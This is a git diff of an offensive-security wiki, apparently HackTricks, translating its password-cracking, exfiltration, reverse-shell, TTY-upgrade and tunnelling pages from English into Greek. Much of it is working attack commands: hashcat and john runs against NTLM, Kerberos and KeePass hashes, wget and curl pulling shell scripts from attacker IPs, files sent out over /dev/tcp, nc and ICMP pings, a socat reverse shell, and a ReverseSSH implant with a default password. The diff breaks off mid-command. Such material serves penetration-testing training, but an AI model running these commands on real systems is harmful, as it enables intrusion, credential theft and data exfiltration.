/usr/share/wordlists/rockyou.txt @@ -635,13 +506,11 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` - ### PDF Owner Password -To crack a PDF Owner password check this: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +Για να σπάσετε έναν κωδικό πρόσβασης PDF Owner, ελέγξτε αυτό: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT - ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack @@ -653,17 +522,13 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` - ### NTLM cracking - ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` - ### Keepass - ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password @@ -671,30 +536,24 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` - ### Keberoasting - ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` - ### Lucks image #### Method 1 -Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) - +Εγκατάσταση: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -#### Method 2 - +#### Μέθοδος 2 ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 @@ -703,39 +562,33 @@ cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) +Ένα άλλο σεμινάριο Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql - ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` - -### PGP/GPG Private key - +### PGP/GPG Ιδιωτικό κλειδί ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` - ### Cisco
### DPAPI Master Key -Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john +Χρησιμοποιήστε [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) και στη συνέχεια john ### Open Office Pwd Protected Column -If you have an xlsx file with a column protected by a password you can unprotect it: - -- **Upload it to google drive** and the password will be automatically removed -- To **remove** it **manually**: +Αν έχετε ένα αρχείο xlsx με μια στήλη προστατευμένη με κωδικό πρόσβασης, μπορείτε να την αποπροστατεύσετε: +- **Ανεβάστε το στο google drive** και ο κωδικός πρόσβασης θα αφαιρεθεί αυτόματα +- Για να **αφαιρέσετε** το **χειροκίνητα**: ```bash unzip file.xlsx grep -R "sheetProtection" ./* @@ -744,76 +597,56 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV # Remove that line and rezip the file zip -r file.xls . ``` - -### PFX Certificates - +### Πιστοποιητικά PFX ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` +## Εργαλεία -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Tools - -**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) +**Παραδείγματα Hash:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) ### Hash-identifier - ```bash hash-identifier > ``` - -### Wordlists +### Λίστες Λέξεων - **Rockyou** - [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) - [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) -- [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) +- [**Seclists - Κωδικοί Πρόσβασης**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) -### **Wordlist Generation Tools** - -- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Advanced keyboard-walk generator with configurable base chars, keymap and routes. +### **Εργαλεία Δημιουργίας Λιστών Λέξεων** +- [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Προηγμένος γεννήτορας διαδρομών πληκτρολογίου με ρυθμιζόμενους βασικούς χαρακτήρες, χάρτη πλήκτρων και διαδρομές. ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` - ### John mutation -Read _**/etc/john/john.conf**_ and configure it - +Διαβάστε _**/etc/john/john.conf**_ και ρυθμίστε το ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` - ### Hashcat -#### Hashcat attacks +#### Hashcat επιθέσεις -- **Wordlist attack** (`-a 0`) with rules - -**Hashcat** already comes with a **folder containing rules** but you can find [**other interesting rules here**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). +- **Επίθεση λίστας λέξεων** (`-a 0`) με κανόνες +**Hashcat** έρχεται ήδη με ένα **φάκελο που περιέχει κανόνες** αλλά μπορείτε να βρείτε [**άλλους ενδιαφέροντες κανόνες εδώ**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` +- **Wordlist combinator** επίθεση -- **Wordlist combinator** attack - -It's possible to **combine 2 wordlists into 1** with hashcat.\ -If list 1 contained the word **"hello"** and the second contained 2 lines with the words **"world"** and **"earth"**. The words `helloworld` and `helloearth` will be generated. - +Είναι δυνατόν να **συνδυάσετε 2 λίστες λέξεων σε 1** με το hashcat.\ +Αν η λίστα 1 περιείχε τη λέξη **"hello"** και η δεύτερη περιείχε 2 γραμμές με τις λέξεις **"world"** και **"earth"**. Οι λέξεις `helloworld` και `helloearth` θα παραχθούν. ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -824,9 +657,7 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! ``` - -- **Mask attack** (`-a 3`) - +- **Επίθεση μάσκας** (`-a 3`) ```bash # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d @@ -858,9 +689,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` - -- Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) attack - +- Λίστα λέξεων + Μάσκα (`-a 6`) / Μάσκα + Λίστα λέξεων (`-a 7`) επίθεση ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d @@ -868,47 +697,30 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` - -#### Hashcat modes - +#### Λειτουργίες Hashcat ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` - -Cracking Linux Hashes - /etc/shadow file - +Σπάζοντας τους Hashes του Linux - /etc/shadow αρχείο ``` - 500 | md5crypt $1$, MD5(Unix) | Operating-Systems +500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` - -Cracking Windows Hashes - +Σπάζοντας τα Hashes των Windows ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` - -Cracking Common Application Hashes - +Σπάζοντας Κοινά Hash Εφαρμογών ``` - 900 | MD4 | Raw Hash - 0 | MD5 | Raw Hash - 5100 | Half MD5 | Raw Hash - 100 | SHA1 | Raw Hash +900 | MD4 | Raw Hash +0 | MD5 | Raw Hash +5100 | Half MD5 | Raw Hash +100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash - 1400 | SHA-256 | Raw Hash - 1700 | SHA-512 | Raw Hash +1400 | SHA-256 | Raw Hash +1700 | SHA-512 | Raw Hash ``` - {{#include ../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index 2e5c0c1dd..3d8170385 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -1,40 +1,33 @@ -# Exfiltration +# Εξαγωγή {{#include ../banners/hacktricks-training.md}} -## Commonly whitelisted domains to exfiltrate information +## Συνηθισμένοι τομείς που έχουν επιτραπεί για την εξαγωγή πληροφοριών -Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused +Ελέγξτε [https://lots-project.com/](https://lots-project.com/) για να βρείτε συνηθισμένους τομείς που μπορούν να καταχραστούν -## Copy\&Paste Base64 +## Αντιγραφή\&Επικόλληση Base64 **Linux** - ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` - **Windows** - ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` - ## HTTP -**Linux** - +**Λίνουξ** ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` - **Windows** - ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf @@ -49,13 +42,11 @@ Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` - -### Upload files +### Αποστολή αρχείων - [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) - [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) - Python module [uploadserver](https://pypi.org/project/uploadserver/): - ```bash # Listen to files python3 -m pip install --user uploadserver @@ -68,9 +59,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` - ### **HTTPS Server** - ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ @@ -105,31 +94,25 @@ from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): - print(request.get_json()) - return "OK" +print(request.get_json()) +return "OK" if __name__ == "__main__": - app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) +app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` - ## FTP ### FTP server (python) - ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` - ### FTP server (NodeJS) - ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` - ### FTP server (pure-ftp) - ```bash apt-get update && apt-get install pure-ftp ``` @@ -147,9 +130,7 @@ mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` - -### **Windows** client - +### **Windows** πελάτης ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt @@ -160,37 +141,31 @@ echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` - ## SMB -Kali as server - +Kali ως διακομιστής ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` - -Or create a smb share **using samba**: - +Ή δημιουργήστε ένα smb share **χρησιμοποιώντας samba**: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] - comment = Samba on Ubuntu - path = /tmp/smb - read only = no - browsable = yes - guest ok = Yes +comment = Samba on Ubuntu +path = /tmp/smb +read only = no +browsable = yes +guest ok = Yes #Start samba service smbd restart ``` - Windows - ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -198,54 +173,42 @@ CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentia WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` - ## SCP -The attacker has to have SSHd running. - +Ο επιτιθέμενος πρέπει να έχει το SSHd σε λειτουργία. ```bash scp @:/ ``` - ## SSHFS -If the victim has SSH, the attacker can mount a directory from the victim to the attacker. - +Αν το θύμα έχει SSH, ο επιτιθέμενος μπορεί να προσαρτήσει έναν φάκελο από το θύμα στον επιτιθέμενο. ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` - ## NC - ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` - ## /dev/tcp -### Download file from victim - +### Κατέβασμα αρχείου από το θύμα ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` - -### Upload file to victim - +### Αποστολή αρχείου στον θύμα ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` - -thanks to **@BinaryShadow\_** +ευχαριστίες στον **@BinaryShadow\_** ## **ICMP** - ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done @@ -256,64 +219,50 @@ xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ``` - -In **victim**, connect to the Kali server: - +Στο **θύμα**, συνδεθείτε με τον διακομιστή Kali: ```bash tftp -i get nc.exe ``` - ## PHP -Download a file with a PHP oneliner: - +Κατεβάστε ένα αρχείο με μια PHP oneliner: ```bash echo "" > down2.php ``` - ## VBScript - ```bash Attacker> python -m SimpleHTTPServer 80 ``` - -**Victim** - +**Θύμα** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs @@ -345,23 +294,16 @@ echo ts.Close >> wget.vbs ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` - ## Debug.exe -The `debug.exe` program not only allows inspection of binaries but also has the **capability to rebuild them from hex**. This means that by providing an hex of a binary, `debug.exe` can generate the binary file. However, it's important to note that debug.exe has a **limitation of assembling files up to 64 kb in size**. - +Το πρόγραμμα `debug.exe` όχι μόνο επιτρέπει την επιθεώρηση δυαδικών αρχείων αλλά έχει επίσης τη **δυνατότητα να τα ξαναχτίσει από hex**. Αυτό σημαίνει ότι παρέχοντας ένα hex ενός δυαδικού αρχείου, το `debug.exe` μπορεί να δημιουργήσει το δυαδικό αρχείο. Ωστόσο, είναι σημαντικό να σημειωθεί ότι το debug.exe έχει μια **περιορισμένη δυνατότητα συναρμολόγησης αρχείων έως 64 kb σε μέγεθος**. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` - -Then copy-paste the text into the windows-shell and a file called nc.exe will be created. - -- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) +Στη συνέχεια, επικολλήστε το κείμενο στο windows-shell και θα δημιουργηθεί ένα αρχείο με όνομα nc.exe. ## DNS -- [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) - {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/README.md b/src/generic-hacking/reverse-shells/README.md index 9f8253367..d3cc84789 100644 --- a/src/generic-hacking/reverse-shells/README.md +++ b/src/generic-hacking/reverse-shells/README.md @@ -8,7 +8,7 @@ # [**Full TTYs**](full-ttys.md) -# **Auto-generated shells** +# **Αυτοπαραγόμενα shells** - [**https://reverse-shell.sh/**](https://reverse-shell.sh/) - [**https://www.revshells.com/**](https://www.revshells.com/) diff --git a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md index b52276fda..d7e6c02de 100644 --- a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md +++ b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md @@ -1,13 +1,12 @@ -# Expose local to the internet +# Εξ expose το τοπικό στο διαδίκτυο {{#include ../../banners/hacktricks-training.md}} -**The goal of this page is to propose alternatives that allow AT LEAST to expose local raw TCP ports and local webs (HTTP) to the internet WITHOUT needing to install anything in the other server (only in local if needed).** +**Ο στόχος αυτής της σελίδας είναι να προτείνει εναλλακτικές που επιτρέπουν τουλάχιστον να εκθέσουν τοπικούς ακατέργαστους TCP θύρες και τοπικά webs (HTTP) στο διαδίκτυο ΧΩΡΙΣ να χρειάζεται να εγκαταστήσετε οτιδήποτε στον άλλο διακομιστή (μόνο τοπικά αν χρειαστεί).** ## **Serveo** -From [https://serveo.net/](https://serveo.net/), it allows several http and port forwarding features **for free**. - +Από [https://serveo.net/](https://serveo.net/), επιτρέπει πολλές δυνατότητες προώθησης http και θύρας **δωρεάν**. ```bash # Get a random port from serveo.net to expose local port 4444 ssh -R 0:localhost:4444 serveo.net @@ -15,11 +14,9 @@ ssh -R 0:localhost:4444 serveo.net # Expose a web listening in localhost:300 in a random https URL ssh -R 80:localhost:3000 serveo.net ``` - ## SocketXP -From [https://www.socketxp.com/download](https://www.socketxp.com/download), it allows to expose tcp and http: - +Από [https://www.socketxp.com/download](https://www.socketxp.com/download), επιτρέπει την έκθεση tcp και http: ```bash # Expose tcp port 22 socketxp connect tcp://localhost:22 @@ -27,11 +24,9 @@ socketxp connect tcp://localhost:22 # Expose http port 8080 socketxp connect http://localhost:8080 ``` - ## Ngrok -From [https://ngrok.com/](https://ngrok.com/), it allows to expose http and tcp ports: - +Από [https://ngrok.com/](https://ngrok.com/), επιτρέπει την έκθεση http και tcp θυρών: ```bash # Expose web in 3000 ngrok http 8000 @@ -39,11 +34,9 @@ ngrok http 8000 # Expose port in 9000 (it requires a credit card, but you won't be charged) ngrok tcp 9000 ``` - ## Telebit -From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http and tcp ports: - +Από [https://telebit.cloud/](https://telebit.cloud/) επιτρέπει την έκθεση http και tcp θυρών: ```bash # Expose web in 3000 /Users/username/Applications/telebit/bin/telebit http 3000 @@ -51,11 +44,9 @@ From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http a # Expose port in 9000 /Users/username/Applications/telebit/bin/telebit tcp 9000 ``` - ## LocalXpose -From [https://localxpose.io/](https://localxpose.io/), it allows several http and port forwarding features **for free**. - +Από [https://localxpose.io/](https://localxpose.io/), επιτρέπει πολλές δυνατότητες http και προώθησης θύρας **χωρίς κόστος**. ```bash # Expose web in port 8989 loclx tunnel http -t 8989 @@ -63,11 +54,9 @@ loclx tunnel http -t 8989 # Expose tcp port in 4545 (requires pro) loclx tunnel tcp --port 4545 ``` - ## Expose -From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp ports: - +Από [https://expose.dev/](https://expose.dev/) επιτρέπει την έκθεση http και tcp θυρών: ```bash # Expose web in 3000 ./expose share http://localhost:3000 @@ -75,14 +64,11 @@ From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp # Expose tcp port in port 4444 (REQUIRES PREMIUM) ./expose share-port 4444 ``` - ## Localtunnel -From [https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) it allows to expose http for free: - +Από [https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) επιτρέπει την έκθεση http δωρεάν: ```bash # Expose web in port 8000 npx localtunnel --port 8000 ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/full-ttys.md b/src/generic-hacking/reverse-shells/full-ttys.md index 32d0eb1d5..afabc7bb6 100644 --- a/src/generic-hacking/reverse-shells/full-ttys.md +++ b/src/generic-hacking/reverse-shells/full-ttys.md @@ -2,36 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - ## Full TTY -Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`. +Σημειώστε ότι το shell που ορίζετε στη μεταβλητή `SHELL` **πρέπει** να είναι **καταχωρημένο μέσα** _**/etc/shells**_ ή `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Επίσης, σημειώστε ότι τα επόμενα αποσπάσματα λειτουργούν μόνο σε bash. Αν βρίσκεστε σε zsh, αλλάξτε σε bash πριν αποκτήσετε το shell εκτελώντας `bash`. #### Python - ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` - > [!NOTE] -> You can get the **number** of **rows** and **columns** executing **`stty -a`** +> Μπορείτε να αποκτήσετε τον **αριθμό** των **γραμμών** και **στηλών** εκτελώντας **`stty -a`** #### script - ```bash script /dev/null -qc /bin/bash #/dev/null is to not store anything (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` - #### socat - ```bash #Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 @@ -39,7 +28,6 @@ socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ``` - ### **Spawn shells** - `python -c 'import pty; pty.spawn("/bin/sh")'` @@ -57,39 +45,32 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ## ReverseSSH -A convenient way for **interactive shell access**, as well as **file transfers** and **port forwarding**, is dropping the statically-linked ssh server [ReverseSSH](https://github.com/Fahrj/reverse-ssh) onto the target. +Ένας βολικός τρόπος για **interactive shell access**, καθώς και **file transfers** και **port forwarding**, είναι η τοποθέτηση του στατικά συνδεδεμένου ssh server [ReverseSSH](https://github.com/Fahrj/reverse-ssh) στον στόχο. -Below is an example for `x86` with upx-compressed binaries. For other binaries, check [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/). - -1. Prepare locally to catch the ssh port forwarding request: +Παρακάτω είναι ένα παράδειγμα για `x86` με upx-compressed binaries. Για άλλα binaries, ελέγξτε την [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/). +1. Ετοιμαστείτε τοπικά για να πιάσετε το αίτημα port forwarding του ssh: ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -v -l -p 4444 ``` - -- (2a) Linux target: - +- (2a) Στόχος Linux: ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -p 4444 kali@10.0.0.2 ``` - -- (2b) Windows 10 target (for earlier versions, check [project readme](https://github.com/Fahrj/reverse-ssh#features)): - +- (2b) Στόχος Windows 10 (για παλαιότερες εκδόσεις, ελέγξτε το [project readme](https://github.com/Fahrj/reverse-ssh#features)): ```bash # Drop it via your preferred way, e.g. certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe reverse-ssh.exe -p 4444 kali@10.0.0.2 ``` - -- If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password `letmeinbrudipls` in the context of the user running `reverse-ssh(.exe)`: - +- Αν το αίτημα προώθησης θύρας ReverseSSH ήταν επιτυχές, θα πρέπει τώρα να μπορείτε να συνδεθείτε με τον προεπιλεγμένο κωδικό πρόσβασης `letmeinbrudipls` στο πλαίσιο του χρήστη που εκτελεί το `reverse-ssh(.exe)`: ```bash # Interactive shell access ssh -p 8888 127.0.0.1 @@ -97,25 +78,16 @@ ssh -p 8888 127.0.0.1 # Bidirectional file transfer sftp -P 8888 127.0.0.1 ``` - ## Penelope -[Penelope](https://github.com/brightio/penelope) automatically upgrades Linux reverse shells to TTY, handles the terminal size, logs everything and much more. Also it provides readline support for Windows shells. +[Penelope](https://github.com/brightio/penelope) αναβαθμίζει αυτόματα τα Linux reverse shells σε TTY, διαχειρίζεται το μέγεθος του τερματικού, καταγράφει τα πάντα και πολλά άλλα. Επίσης παρέχει υποστήριξη readline για Windows shells. ![penelope](https://github.com/user-attachments/assets/27ab4b3a-780c-4c07-a855-fd80a194c01e) ## No TTY -If for some reason you cannot obtain a full TTY you **still can interact with programs** that expect user input. In the following example, the password is passed to `sudo` to read a file: - +Αν για κάποιο λόγο δεν μπορείτε να αποκτήσετε πλήρες TTY, **μπορείτε ακόμα να αλληλεπιδράσετε με προγράμματα** που περιμένουν είσοδο από τον χρήστη. Στο παρακάτω παράδειγμα, ο κωδικός πρόσβασης περνάει στο `sudo` για να διαβάσει ένα αρχείο: ```bash expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "";send "\r\n";interact' ``` - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/linux.md b/src/generic-hacking/reverse-shells/linux.md index c1caa101d..a6f7826ba 100644 --- a/src/generic-hacking/reverse-shells/linux.md +++ b/src/generic-hacking/reverse-shells/linux.md @@ -2,14 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com) +**Αν έχετε ερωτήσεις σχετικά με οποιαδήποτε από αυτές τις shells μπορείτε να τις ελέγξετε με** [**https://explainshell.com/**](https://explainshell.com) ## Full TTY -**Once you get a reverse shell**[ **read this page to obtain a full TTY**](full-ttys.md)**.** +**Μόλις αποκτήσετε μια reverse shell**[ **διαβάστε αυτή τη σελίδα για να αποκτήσετε ένα πλήρες TTY**](full-ttys.md)**.** ## Bash | sh - ```bash curl 